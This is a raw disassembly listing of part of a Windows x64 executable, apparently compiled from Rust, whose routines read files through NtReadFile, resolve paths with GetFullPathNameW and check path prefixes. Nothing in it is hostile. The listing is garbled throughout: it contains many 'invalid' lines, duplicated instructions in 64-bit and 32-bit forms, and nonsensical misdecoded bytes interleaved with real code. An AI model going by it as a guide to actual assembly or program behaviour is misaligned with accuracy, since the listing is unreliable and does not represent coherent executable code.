invalid
mov eax, dword [rsp + 0x28]
sub cl, al
loopne case.0x140080e18.87
invalid
shl eax, 0x15
adc eax, 0x231ff8c1
sar eax, 0x1f
clc
invalid
and eax, dword [rsp + 0x2c]
and al, 0x2c
and al, 0x2c
mov ecx, dword [rsp + 0x30]
and al, 0x30
xor byte [rbx + 0x44542454], cl
mov eax, dword [rsp + 0x4c]
and al, 0x4c
mov edx, dword [rsp + 0x54]
and al, 0x54
push rsp
mov r8d, dword [rsp + 0x4c]
and al, 0x4c
and al, 0x4c
mov r9d, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
push rax
shl r9, 0x20
loope case.0x140080e18.97
and byte [rcx + 9], cl
or r9, rdx
ror dword [rbx + 0x44582454], 1
mov edx, dword [rsp + 0x58]
push rsp
and al, 0x58
pop rax
pop rax
mov r10d, dword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
push rsp
and al, 0x60
mov r11d, dword [rsp + 0x5c]
mov ebx, dword [rsp + 0x5c]
pop rsp
shl r11, 0x20
or r11, r10
invalid
and byte [rbp + 9], cl
ror dword [rax - 0x39], cl
mov qword [rsi], 1
invalid
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x5e], cl
mov qword [rsi + 8], r11
mov dword [rsi + 8], ebx
or bh, al
mov dword [rsi + 0x10], 1
adc byte [rcx], r8b
adc byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
mov dword [rsi + 0x14], r8d
adc al, 0xc7
adc al, 0xc7
mov dword [rsi + 0x18], 1
sbb byte [rcx], r8b
sbb byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x100f1c56], cl
mov dword [rsi + 0x1c], edx
sbb al, 0xf
adc byte [rsp + 0x34], al
and al, 0x34
movups xmm0, xmmword [rsp + 0x34]
and al, 0x34
xor al, 0xf
movups xmmword [rsi + 0x20], xmm0
adc dword [rsi + 0x20], eax
and byte [rax - 0x75], cl
mov rdx, qword [rsp + 0x44]
push rsp
and al, 0x44
mov qword [rsi + 0x30], rdx
mov qword [rsi + 0x30], rdx
push rsi
xor byte [rcx + rcx*4 + 0x4e], cl
mov qword [rsi + 0x38], r9
mov dword [rsi + 0x40], ecx
invalid
invalid
invalid
invalid
mov qword [rsi + 0x38], r9
mov dword [rsi + 0x40], ecx
invalid
invalid
cmp byte [rcx + 0x4689404e], r9b
mov dword [rsi + 0x44], eax
mov dword [rsi + 0x44], eax
mov dword [rsi + 0x44], eax
jmp case.0x140080e18.110
jmp case.0x140080e18.110
call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, ebx
add al, byte [rax]
shl rax, 0x20
shl eax, 0x20
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
invalid
invalid
or rax, 2
or eax, 2
mov qword [rsi + 8], rax
or byte [rax - 0x39], r9b
or byte [rax - 0x39], cl
mov qword [rsi], 2
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
invalid
add byte [rax], al
add rsp, 0x68
add esp, 0x68
push 0xffffffffccc35e5f
int3
pop rdi
pop rsi
ret
int3
int3
int3
int3
int3
push rdi
sub rsp, 0x38
sub esp, 0x38
sub esp, 0x38
cmp byte [rax - 0x77], cl
xlatb
mov rdi, rdx
mov edi, edx
mov rdx, qword [rdx + 8]
mov edx, dword [rdx + 8]
push rdx
or byte [rax - 0x75], cl
mov rsi, qword [rdi + 0x10]
ja case.0x140080d34.123
mov r9, rdx
sub r9, rsi
sub ecx, esi
ror dword [rcx + 0x29], 1
int1
sub ecx, esi
jb 0x1400825f6
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
add byte [rax], al
mov rax, rcx
mov r8, qword [rdi]
mov eax, dword [rdi]
enter 0xffffffffffff8b4c, 7
mov eax, dword [rdi]
add r8, rsi
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
and al, 0x28
mov rdx, rax
call fcn.1400827b0
invalid
add eax, dword [rax]
add byte [rax], al
ret 0x3de8
cmp eax, 0x48000003
cmp qword [rsp + 0x28], 0
cmp dword [rsp + 0x28], 0
and al, 0x28
add byte [rax + riz + 0x48], dh
and byte [rax - 0x75], cl
je case.0x14007edf4.159
invalid
sub byte [rax], al
je case.default.0x140082493
and byte [rax - 0x75], cl
mov rsi, qword [rsp + 0x30]
je case.0x14007edf4.159
and al, 0x30
xor byte [rcx + 0x3e083f0], cl
mov eax, esi
and eax, 3
loopne 0x140082488
add ecx, dword [rax - 0x73]
lea rcx, [0x1400f0880]
or eax, 0x6e3f4
hlt
jrcxz 0x140082491
add byte [rax + 0x63], cl
add al, 0x81
invalid
movsxd rax, dword [rcx + rax*4]
or dword [rax + 1], 0xfe0ffc8
add rax, rcx
add eax, ecx
jmp rax
movzx eax, byte [rsi + 0x10]
jmp 0x1400824c9
invalid
mov dh, 0x46
adc bl, ch
adc bl, r13b
add rsi, qword cs:[rsp + 0x30]
add rsi, qword [rsp + 0x30]
je case.0x14007edf4.164
and al, 0x30
xor byte [rax - 0x77], cl
ja 0x1400824b4
invalid
mov qword [rdi + 0x10], rsi
mov dword [rdi + 0x10], esi
adc byte [rax - 0x75], cl
mov rax, qword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
sbb byte [r8 + 0x39], r9b
sbb byte [rax + 0x39], cl
cmp rax, rsi
invalid
cmova rsi, rax
cmova esi, eax
mov qword [rdi + 0x18], rsi
sbb byte [rcx], dh
xor esi, esi
jmp case.0x14007e3f3.218
invalid
imul bl
movzx eax, byte es:[rsi + 0xf]
movzx eax, byte [rsi + 0xf]
por mm1, qword [rax + r9*2]
por mm1, qword [rax + rcx*2]
jmp 0x1400824c9
mov rcx, rsi
mov ecx, esi
int1
shr rcx, 0x20
shr ecx, 0x20
and al, ch
cmpsd dword [rsi], dword [rdi]
call fcn.14007cc10
invalid
push qword [rcx]
leave
xor ecx, ecx
cmp al, 0xb
cmove rsi, rcx
cmove esi, ecx
cmove esi, ecx
int1
jne case.0x14007e3f3.218
or cl, byte [rax - 0x73]
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
xor al, ch
call fcn.14007a090
mov bl, 0x7b
invalid
dec dword [rax - 0x77]
invalid
mov rax, rsi
mov eax, esi
add rsp, 0x38
cmp byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
mov rax, rsi
shr rax, 0x20
shr eax, 0x20
call 0x16900a811
cmp eax, 0x28
clc
sub byte [rdi + 0x14], dh
ja case.default.0x140082501
ja case.default.0x140082501
adc al, 0x48
lea ecx, [0x1400f0890]
or eax, 0x6e396
lea rcx, [0x1400f0890]
or eax, 0x6e396
xchg esi, eax
jrcxz case.0x1400826b1.6
invalid
invalid
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x31
shr bl, 0xc2
invalid
jmp rax
xor eax, eax
jmp 0x1400824c9
invalid
ret 0x29b0
mov al, 0x29
sub ebx, ebp
jmp 0x1400824c9
mov esi, 0xbaeb01b0
mov al, 1
jmp 0x1400824c9
mov edx, 0xb6eb02b0
mov al, 2
add ch, bl
mov dh, 0xb0
invalid
jmp 0x1400824c9
mov al, 3
add ebp, ebx
jmp 0x1400824c9
mov dl, 0xb0
mov al, 4
jmp 0x1400824c9
add al, 0xeb
scasb al, byte [rdi]
mov al, 5
add eax, 0x6b0aaeb
jmp 0x1400824c9
mov al, 6
jmp 0x1400824c9
cmpsb byte [rsi], byte [rdi]
mov al, 7
jmp 0x1400824c9
invalid
invalid
movabs byte [0x9aeb09b09eeb08b0], al
mov al, 8
jmp 0x1400824c9
sahf
mov al, 9
jmp 0x1400824c9
mov al, 0xa
or ch, bl
jmp 0x1400824c9
xchg esi, eax
mov al, 0xb
jmp 0x1400824c9
or ebp, ebx
xchg edx, eax
mov al, 0xc
or al, 0xeb
invalid
jmp 0x1400824c9
mov al, 0xd
jmp 0x1400824c9
invalid
mov dh, byte [rax - 0x4f7914f2]
por mm0, qword [rdx + 0x7be910b0]
jmp 0x1400824c9
mov al, 0x10
invalid
jnp 0x14008254b
mov al, 0xe
invalid
jmp 0x1400824c9
mov al, 0xf
jmp 0x1400824c9
mov al, 0x10
jmp 0x1400824c9
invalid
invalid
invalid
mov al, 0x11
jmp 0x1400824c9
invalid
invalid
invalid
adc ecx, ebp
je case.0x1400270ad.1362
invalid
invalid
invalid
mov al, 0x12
jmp 0x1400824c9
invalid
push qword [rax - 0x9916ed]
mov al, 0x13
jmp 0x1400824c9
invalid
invalid
invalid
invalid
push qword [rax - 0xa016ec]
mov al, 0x14
jmp 0x1400824c9
invalid
invalid
invalid
invalid
mov al, 0x15
jmp 0x1400824c9
pop rax
invalid
invalid
invalid
adc eax, 0xffff58e9
pop rax
invalid
invalid
push qword [rax - 0xae16ea]
mov al, 0x16
jmp 0x1400824c9
invalid
push qword [rax - 0xb516e9]
mov al, 0x17
jmp 0x1400824c9
invalid
invalid
invalid
invalid
mov al, 0x18
jmp 0x1400824c9
invalid
invalid
invalid
invalid
invalid
mov al, 0x19
sbb ecx, ebp
cmp al, 0xff
jmp 0x1400824c9
invalid
mov al, 0x1a
sbb ch, cl
xor eax, 0xb0ffffff
invalid
invalid
invalid
mov al, 0x1b
invalid
jmp 0x1400824c9
invalid
invalid
mov al, 0x1b
jmp 0x1400824c9
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0xd816e4]
mov al, 0x1c
jmp 0x1400824c9
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0xdf16e3]
mov al, 0x1d
jmp 0x1400824c9
invalid
invalid
invalid
mov al, 0x1e
jmp 0x1400824c9
invalid
invalid
invalid
push qword [rax - 0xed16e1]
mov al, 0x1f
jmp 0x1400824c9
invalid
mov al, 0x20
jmp 0x1400824c9
invalid
mov al, 0x21
jmp 0x1400824c9
invalid
invalid
and ecx, ebp
add al, 0xff
invalid
mov al, 0x22
jmp 0x1400824c9
invalid
invalid
invalid
and ch, cl
std
invalid
invalid
mov al, 0x23
jmp 0x1400824c9
invalid
invalid
and ebp, ecx
idiv dh
invalid
mov al, 0x24
jmp 0x1400824c9
invalid
invalid
invalid
mov al, 0x25
jmp 0x1400824c9
invalid
invalid
invalid
mov al, 0x26
jmp 0x1400824c9
loope case.0x1400283bc.1497
invalid
mov al, 0x27
jmp 0x1400824c9
invalid
mov al, 0x28
jmp 0x1400824c9
invalid
invalid
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rs
lea eax, [0x1400e7d38]
invalid
mov rcx, rsi
int1
call fcn.1400a9f20
jns 0x140082606
add al, byte [rax]
add byte [rdi], cl
ud2
or ecx, esp
int3
int3
int3
int3
int3
int3
sub esp, 0x38
mov rsi, rcx
mov esi, ecx
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
and al, 0x28
call fcn.1400827b0
lea eax, [rcx]
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
cmp qword [rsp + 0x28], 0
jl case.default.0x140082643
sub byte [rax], al
je case.default.0x140082643
mov rdi, qword [rsp + 0x30]
mov edi, dword [rsp + 0x30]
and al, 0x30
xor byte [rcx + 0x3e083f8], cl
mov eax, edi
and eax, 3
loopne 0x140082638
lea rcx, [0x1400f0934]
lea ecx, [0x1400f0934]
or eax, 0x6e2f8
clc
loop 0x140082641
invalid
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0xf
mov dh, 0x47
adc r11b, r13b
jmp rax
movzx eax, byte [rdi + 0x10]
jmp case.0x14002f576.1251
adc r11b, r13b
and al, 0x48
mov eax, dword [rsp + 0x30]
and al, 0x30
mov rax, qword [rsp + 0x30]
and al, 0x30
xor byte [rax - 0x77], cl
mov qword [rsi + 8], rax
mov qword [rsi], 0
mov dword [rsi], 0
or byte [rax - 0x39], r9b
mov dword [rsi], 0
invalid
jmp case.0x1400283bc.1506
xor ecx, dword [rdi]
mov dh, 0x47
por mm1, qword [rax + rcx*2]
mov rcx, rdi
movzx eax, byte [rdi + 0xf]
jmp case.0x14002f576.1251
mov rcx, rdi
shr rcx, 0x20
call fcn.14007cc10
movabs eax, dword [0x4812750b3cffffa5]
lea ecx, [rsp + 0x30]
and al, 0x30
cmp al, 0xb
jne 0x140082685
lea rcx, [rsp + 0x30]
and al, 0x30
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
call fcn.14007a090
jmp case.0x1400283bc.1506
or eax, 0xebffff7a
or ecx, dword [rax - 0x77]
mov dword [rsi + 8], edi
mov qword [rsi + 8], rdi
mov dword [rsi + 8], edi
mov qword [rsi], 1
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
invalid
add rsp, 0x38
add esp, 0x38
pop rdi
pop rsi
ret
mov rax, rdi
shr rax, 0x20
shr eax, 0x20
cmp eax, 0x28
ja case.default.0x1400826b1
invalid
adc al, 0x48
lea rcx, [0x1400f0944]
lea ecx, [0x1400f0944]
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x31
shr bl, 0xb8
jmp rax
xor eax, eax
jmp case.0x14002f576.1251
mov al, 0x29
jmp case.0x14002f576.1251
mov al, 1
jmp case.0x14002f576.1251
invalid
mov al, 0xb0
add ch, bl
lodsb al, byte [rsi]
mov al, 2
jmp case.0x14002f576.1251
mov al, 3
jmp case.0x14002f576.1251
mov al, 4
jmp case.0x14002f576.1251
mov al, 5
jmp case.0x14002f576.1251
add eax, 0x6b0a0eb
mov al, 6
jmp case.0x14002f576.1251
pushfq
mov al, 7
jmp case.0x14002f576.1251
mov al, 8
jmp case.0x14002f576.1251
xchg esp, eax
xchg esp, eax
mov al, 9
jmp case.0x14002f576.1251
mov al, 0xa
jmp case.0x14002f576.1251
mov byte [rax - 0x4f7b14f4], dh
or eax, 0xeb080eb
xor byte [rax - 0x8616f2], 0xff
invalid
jmp case.0x14002f576.1251
xor byte [rax - 0x8616f2], 0xff
invalid
invalid
push qword [rax - 0x8d16f1]
invalid
invalid
mov al, 0x11
jmp case.0x14002f576.1251
adc ecx, ebp
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
jmp case.0x14002f576.1251
invalid
sbb ecx, ebp
sub al, 0xff
jmp case.0x14002f576.1251
invalid
invalid
push qword [rax - 0xe116e5]
invalid
invalid
invalid
invalid
add bh, bh
invalid
invalid
invalid
invalid
jmp case.0x14002f576.1251
invalid
invalid
invalid
jmp case.0x14002f576.1251
invalid
push qword [rax - 0x12e16da]
invalid
mov al, 0x27
jmp case.0x14002f576.1251
invalid
int3
push rdi
sub rsp, 0xa8
sub esp, 0xa8
sub esp, 0xa8
mov rdi, rdx
mov edi, edx
mov rsi, rcx
movups xmm0, xmmword [0x1400e9fd0]
add byte [rdi], cl
sub dword [rsp + 0x60], eax
add byte [rdi], cl
sub dword [rsp + 0x60], eax
invalid
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
cmovb eax, ecx
cmovb eax, ecx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
and al, 0x30
and al, 0x30
mov qword [rsp + 0x28], r8
and al, 0x28
sub byte [rax - 0x73], cl
and al, 0x60
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
add al, byte [rax]
add al, byte [rax]
cmp eax, 0x103
jne 0x14008281c
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
fild dword [rdx]
invalid
mov eax, dword [rsp + 0x60]
fild dword [rdx]
add byte [rbx + 0x3d602444], cl
adc dword [rax], eax
add al, al
cmp eax, 0xc0000011
jne 0x14008282b
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x140082863
cmp eax, 0x103
je 0x14008286d
cmp eax, dword [rbp + 0x481278c0]
test eax, eax
js 0x140082848
sar byte [rax + 0x12], 0x48
mov rax, qword [rsp + 0x68]
mov eax, dword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x140082863
invalid
sbb ecx, dword [rcx + 0x1015ffc1]
fadd qword [rdx]
add al, byte [rax]
invalid
invalid
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
adc eax, 0x2dc10
adc eax, 0x2dc10
add al, byte [rax]
shl rax, 0x20
loopne 0x140082874
or rax, 2
mov qword [rsi + 8], rax
or byte [rax - 0x39], r9b
invalid
add dword [rax], eax
add byte [rax], al
invalid
or byte [rax - 0x39], r9b
invalid
add byte [rax - 0x7f], cl
invalid
add rsp, 0xa8
test al, 0
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
add byte [rax], al
add byte [rax], al
add dh, al
and al, 0x5c
add byte [rax - 0x73], cl
add eax, 0x677b7
mov byte [rsp + 0x5c], 0
lea rax, [0x1400ea038]
mov qword [rsp + 0x78], rax
and al, 0x78
js 0x1400828cf
mov qword [rsp + 0x80], 1
mov dword [rsp + 0x80], 1
and al, 0x80
add byte [rax], al
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
add byte [rax], al
add byte [rdi], cl
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
adc dword [rsp + 0x90], eax
push rdi
ror byte [rdi], 0x11
adc dword [rsp + 0x90], eax
lea rcx, [rsp + 0x58]
adc dword [rsp + 0x90], eax
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
and al, 0x78
js 0x14008289d
call fcn.14007ab50
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
xchg edi, eax
invalid
invalid
mov dword [rsp + 0x70], eax
lea rcx, [rsp + 0x70]
and al, 0x70
call fcn.14007a190
mov ecx, 7
int 0x29
invalid
sub dword [rdi], ecx
or ecx, esp
int3
ud2
int3
int3
int3
test al, 4
add byte [rax], al
add al, 0
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add al, 0
add dh, bh
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], 0xfffffffffffffffe
invalid
invalid
dec dword [rbx + rcx*4 + 0xa]
mov rax, qword [rdx + 0x10]
mov eax, dword [rdx + 0x10]
invalid
mov eax, dword [rdx + 0x10]
cmp rax, 3
mov qword [rbp + 0x418], r9
add al, 0
add byte [rsi + 0x58], dh
movabs r10, 0x5c003f005c005c
cmp qword [r9], r10
pop rsp
add byte [rdi], bh
add byte [rax + rax + 0x4d], bl
cmp dword [rcx], edx
je 0x140082a1d
movabs r10, 0x5c003f003f005c
mov r9, qword [rbp + 0x418]
add byte [rdi], bh
add byte [rax + rax + 0x4c], bl
mov ecx, dword [rbp + 0x418]
cmp qword [r9], r10
cmp dword [rcx], edx
je 0x140082a1d
test dh, dl
add byte [rax], al
invalid
add byte [rax + 0x3d], cl
clc
add byte [rax], al
add byte [rdi], cl
jae 0x140082a2d
cmp rax, 0xf8
jae 0x140082a2d
mov rax, qword [rbp + 0x418]
cmp word [rax + 2], 0x3a
js 0x140082960
cmp cl, byte [rdi]
invalid
mov eax, dword [rax]
add byte [rax], al
js 0x140082960
cmp cl, byte [rdi]
test dword [rbx + 0x48000000], ecx
mov eax, dword [rbp + 0x418]
invalid
mov eax, dword [rax]
add byte [rax], al
mov rax, qword [rbp + 0x418]
add byte [rdi], cl
mov bh, 0x40
add al, 0xeb
movzx eax, word [rax + 4]
jmp case.0x140032218.1252
je 0x14008299a
je 0x14008299a
cmp rax, 2
je 0x1400829f0
cmp rax, 1
jne 0x140082a2d
add byte [rax], al
clc
add dword [rdi], ecx
test dword [rcx + 0x48000000], ebp
add byte [rax], al
mov rax, qword [rbp + 0x418]
mov rax, qword [rbp + 0x418]
cmp word [rax], 0
jne 0x140082a2d
jmp 0x140082a1d
mov rax, qword [rbp + 0x418]
cmp word [rax + 2], 0x3a
invalid
test dword [rax], ebx
add al, 0
add byte [rsi - 0x7d], ah
js 0x1400829a7
cmp dh, byte [rbp + 0x48]
jne 0x1400829f0
mov rax, qword [rbp + 0x418]
mov rax, qword [rbp + 0x418]
movzx eax, word [rax + 4]
test ax, ax
je 0x1400829dc
cmp ax, 0x2f
je 0x1400829c6
clc
invalid
movzx eax, ax
cmp eax, 0x5c
jne 0x1400829f0
mov rax, qword [rbp + 0x418]
movzx eax, word [rax]
cmp eax, 0x2f
je 0x1400829fa
add byte [rbx + 0x25742ff8], al
cmp eax, 0x5c
je 0x1400829fa
jmp 0x140082a1d
mov rax, qword [rbp + 0x418]
movzx eax, word [rax]
cmp eax, 0x2f
je 0x1400829f0
invalid
add eax, 0x755cf883
sub eax, 0x18858b48
add al, 0
add byte [rdi], cl
mov bh, 0
cmp eax, 0x5c
jne 0x140082a1d
mov rax, qword [rbp + 0x418]
movzx eax, word [rax]
cmp ax, 0x5c
je 0x140082a08
movzx eax, ax
cmp eax, 0x2f
jne 0x140082a2d
mov rax, qword [rbp + 0x418]
add byte [rax], al
movzx eax, word [rax + 2]
cmp eax, 0x5c
je 0x140082a1d
cmp eax, 0x2f
jne 0x140082a2d
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rdx]
jmp 0x140082fb2
mov byte [rbp + 0x417], r8b
mov qword [rbp + 0x3d0], rcx
invalid
mov qword [rbp + 0x400], rdx
mov dword [rbp + 0x400], edx
mov qword [rbp + 0x3b8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
adc dword [rbp + 0x3c0], eax
ror byte [rdi], 0x11
test eax, eax
add eax, dword [rax]
adc dword [rbp + 0x3c0], eax
add byte [rcx - 0x43], al
add byte [rdx], al
add byte [rax], al
mov r13d, 0x200
mov eax, 2
mov qword [rbp + 0x3f8], rax
test eax, edi
add eax, dword [rax]
add byte [rcx], dh
ror byte [rax - 0x77], 0x85
lock add eax, dword [rax]
add byte [rbp + 0x31], al
push qword [rcx]
invalid
ror byte [rax - 0x77], 0x85
lock add eax, dword [rax]
add byte [rbp + 0x31], al
push qword [rcx]
test byte [rcx - 0x7f], 0xfd
cmp r13, 0x201
cmp r13, 0x201
jb 0x140082a9f
jmp 0x140082ab0
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
sub edi, 0
out dx, eax
add byte [rax], al
invalid
jae case.0x140068b4c.1185
cmp r13, 0x201
jae 0x140082ab0
mov r12d, 0x200
lea rbx, [rbp - 0x60]
lea ebx, [rbp - 0x60]
mov r14, r13
mov esi, ebp
jmp 0x140082b15
sub r13, rsi
sub r15, rsi
cmp r15, r13
jae 0x140082ae9
lea rcx, [rbp + 0x3b8]
mov rdx, rsi
mov eax, 0x48000003
mov edx, esi
mov r8, r13
call fcn.1400ae520
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x3f8], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x3c0]
mov qword [rbp + 0x3f0], rax
mov r15, qword [rbp + 0x3f0]
mov eax, 0xffffffff
dec dword [rcx + 0x39]
invalid
mov esi, 0xffffffff
cmovb rsi, r15
mov qword [rbp + 0x3c8], rsi
mov r12, rsi
mov rbx, qword [rbp + 0x3f8]
mov r14, rsi
dec dword [rcx + 0x39]
invalid
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x418]
mov ecx, dword [rbp + 0x418]
mov ecx, dword [rbp + 0x418]
mov edx, r14d
mov rdi, rbx
mov r8, rbx
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
mov ebx, eax
test eax, eax
jne 0x140082b46
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140082bb9
fadd dword [rdx]
add byte [rbp + 0x417375c0], al
mov r13d, ebx
mov ebp, ebx
cmp r14, r13
jne 0x140082a90
invalid
invalid
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140082fc9
add r14, r14
add esi, esi
mov eax, 0xffffffff
cmp r14, rax
cmovae r14, rax
mov r13, r14
cmp r13, 0x201
cmp ebp, 0x201
invalid
cmp ebp, 0x201
add dword [rdx], eax
add byte [rax], al
jae 0x140082ab0
xor dword [rax], 0xffffffff
invalid
jmp 0x140082a9f
cmp r12, r13
jb 0x140082fe3
mov r15, qword [rbp + 0x400]
mov edi, dword [rbp + 0x400]
mov qword [r15 + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rax + 0x417bd], al
invalid
invalid
invalid
add al, 0
add byte [rax], al
add byte [rax], al
cmp byte [rbp + 0x417], 0
invalid
add al, 0
add byte [rax], al
add byte [rbp + rdi - 0x7d], dh
sti
add byte [rax], al
je 0x140082be3
cmp ebx, 2
ja 0x140082bef
add dh, byte [rdi + 0x44]
jne 0x140082d47
movzx ecx, word [rdi]
psubsw mm5, mm3
jmp 0x140082ca4
add byte [rax], al
add bh, bh
adc eax, 0x2d7e9
add byte [rax], al
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
and byte [rax - 0x7d], cl
invalid
invalid
and byte [rax - 0x7d], cl
invalid
mov r15, qword [rbp + 0x400]
add byte [rax], al
cmp qword [rbp + 0x3f0], 0
jne 0x140082f57
jmp 0x140082f6d
add byte [rcx + 0xf6fb], al
cmp ebx, 0xf6
jbe 0x140082ced
add byte [rdi], cl
xchg dh, bh
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
stc
movzx eax, word [rdi + 2]
cmp eax, 0x3a
jne 0x140082c2f
cmp word [rcx + 4], 0x5c
jne 0x140082c2f
mov r12d, 4
mov esp, 4
add byte [rax], al
lea rbx, [0x1400ea250]
mov qword [rbp + 0x408], rcx
lea r14, [r12 + r13]
sub al, 0x49
inc esi
sub al, 0x49
inc esi
mov rdi, qword [r15 + 8]
cmp rdi, r14
jb 0x140082dfc
invalid
rol byte [rcx], cl
add byte [rax], al
invalid
jmp case.0x140074731.778
movzx ecx, word [rcx]
cmp ebx, 3
jbe 0x140082ca4
lea rbx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
cmp cx, 0x5c
jne 0x140082de2
cmp cx, 0x5c
jne case.0x14002f576.1293
add r13, 0xfffffffffffffffe
add rdi, 4
mov qword [rbp + 0x408], rdi
mov r12d, 8
add byte [rax], al
add byte [rax], al
lea rbx, [0x1400ea258]
lea r14, [r12 + r13]
inc r14
invalid
invalid
mov rdi, qword [r15 + 8]
cmp rdi, r14
cmp edi, esi
jb 0x140082dfc
add byte [rax], al
jmp case.0x140074731.778
add byte [rax], al
mov r14, qword [r15 + 8]
cmp r14, r13
mov qword [rbp + 0x408], rdi
add byte [rdi], cl
xchg dword [rdi + 0x4d000000], esi
lea esp, [rbp + 1]
invalid
invalid
ja case.0x14007daa2.227
lea r12, [r13 + 1]
add dword gs:[rdi - 0x73], ecx
add al, 0x24
lea r8, [r12 + r12]
test r14, r14
je 0x140082d71
lea rax, [r14 + r14]
lea eax, [rsi + rsi]
add al, 0x36
mov rcx, qword ss:[rbp + 0x418]
mov rcx, qword [rbp + 0x418]
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x3e0], 2
add byte [rdx], al
add byte [rax], al
invalid
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
test eax, ebp
add eax, dword [rax]
add byte [rax], al
jmp 0x140082d7c
mov qword [rbp + 0x408], rdi
mov qword [rbp + 0x3e8], rax
jmp 0x140082d7c
mov qword [rbp + 0x408], rdi
lea rbx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
sbb eax, 0x6b616
jmp 0x140082de9
movabs byte [0xb60a1d8d48000000], al
lea rbx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
xor r12d, r12d
mov qword [rbp + 0x408], rdi
mov dword [rbp + 0x408], edi
or dh, byte [rsi + 0x31450006]
in al, 0x48
invalid
mov dword [rbp + 0x408], edi
lea r14, [r12 + r13]
inc r14
mov rdi, qword [r15 + 8]
cmp rdi, r14
test dword [rdi], 0x9082
invalid
test dword [rdi], 0x9082
add cl, ch
add dword [rcx], eax
add byte [rax], al
invalid
jmp case.0x140074731.778
mov qword [rbp + 0x3e0], 0
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea esp, [rax + 0x4c000003]
lea ecx, [rbp + 0x3d8]
lea rcx, [rbp + 0x3a0]
lea r9, [rbp + 0x3d8]
mov edx, 2
call fcn.1400a58a0
cmp qword [rbp + 0x3a0], 0
mov rcx, qword [rbp + 0x3a8]
mov ecx, dword [rbp + 0x3a8]
lea ebp, [rax + 0x74000003]
sbb cl, byte [rax - 0x48]
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc13948], al
test dword [rcx + 2], ebx
add byte [rax], al
je case.0x140074731.763
movabs rax, 0x8000000000000001
cmp rcx, rax
jne 0x140083011
xor esi, esi
jmp 0x140082ecd
mov qword [r15], rcx
mov qword [r15 + 8], r12
